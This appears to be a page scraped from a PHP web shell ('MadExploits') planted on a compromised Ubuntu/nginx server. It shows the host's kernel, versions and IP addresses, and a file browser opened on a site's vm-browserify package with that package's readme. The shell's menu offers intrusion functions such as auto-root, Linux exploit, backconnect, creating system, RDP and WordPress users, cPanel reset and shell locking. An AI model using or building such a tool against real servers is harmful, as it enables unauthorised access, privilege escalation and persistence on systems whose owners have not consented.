Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amatya /
node_modules /
vm-browserify /
[ HOME SHELL ]
Name
Size
Permission
Action
example
[ DIR ]
drwxr-xr-x
test
[ DIR ]
drwxr-xr-x
LICENSE
1.05
KB
-rw-r--r--
index.js
3.71
KB
-rw-r--r--
package.json
1.81
KB
-rw-r--r--
readme.markdown
1.29
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readme.markdown
# vm-browserify emulate node's vm module for the browser [](https://ci.testling.com/substack/vm-browserify) # example Just write some client-side javascript: ``` js var vm = require('vm'); $(function () { var res = vm.runInNewContext('a + 5', { a : 100 }); $('#res').text(res); }); ``` compile it with [browserify](http://github.com/substack/node-browserify): ``` browserify entry.js -o bundle.js ``` then whip up some html: ``` html <html> <head> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></script> <script src="/bundle.js"></script> </head> <body> result = <span id="res"></span> </body> </html> ``` and when you load the page you should see: ``` result = 105 ``` # methods ## vm.runInNewContext(code, context={}) Evaluate some `code` in a new iframe with a `context`. Contexts are like wrapping your code in a `with()` except slightly less terrible because the code is sandboxed into a new iframe. # install This module is depended upon by browserify, so you should just be able to `require('vm')` and it will just work. However if you want to use this module directly you can install it with [npm](http://npmjs.org): ``` npm install vm-browserify ``` # license MIT
Close